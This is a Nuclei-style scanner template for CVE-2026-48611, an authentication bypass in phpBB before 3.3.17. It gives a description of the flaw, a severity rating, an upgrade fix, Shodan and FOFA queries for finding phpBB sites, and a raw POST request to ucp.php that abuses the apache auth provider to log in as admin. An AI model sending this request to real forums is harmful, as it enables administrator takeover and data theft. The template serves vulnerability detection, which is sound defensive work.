id: CVE-2026-48611

info:
  name: phpBB < 3.3.17 - Authentication Bypass
  author: aikido,DhiyaneshDk
  severity: critical
  description: |
    phpBB before 3.3.17 contains an authentication bypass vulnerability in the login-link feature. By setting the auth_provider query parameter to "apache", an unauthenticated attacker can bypass password verification and log in as any user, including administrators. The Apache auth provider trusts the Basic authentication header username without password verification, as it assumes Apache handles authentication upstream.
  impact: |
    An unauthenticated attacker can log in as any user including administrators, gaining full control over the phpBB forum, leading to data theft, defacement, and complete forum takeover.
  remediation: |
    Upgrade phpBB to version 3.3.17 or later.
  reference:
    - https://www.aikido.dev/blog/authentication-bypass-phpbb-technical-writeup
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48611
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-48611
    epss-score: 0.0386
    epss-percentile: 0.89123
    cwe-id: CWE-287
    cpe: cpe:2.3:a:phpbb:phpbb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpbb
    product: phpbb
    shodan-query: http.component:"phpBB"
    fofa-query: app="phpBB"
  tags: cve,cve2026,phpbb,auth-bypass,vuln,vkev

http:
  - raw:
      - |
        POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Authorization: Basic YWRtaW46eA==

        login_username=admin&login_password=x&login=Login

    matchers-condition: and
    matchers:
      - type: word
        part: set_cookie
        words:
          - "phpbb_sid"
          - "phpbb"
        condition: and

      - type: status
        status:
          - 302
# digest: 490a0046304402205bc8692722e80deb69f4c3ec7b56d47fc56c7ad8bc10749649778c5b7513609402202ebcd90ba973b6bfda3a6ca3d37cc6c0372da6734cd83ad9c2a44cf7dcc35e73:922c64590222798bb761d5b6d8e72950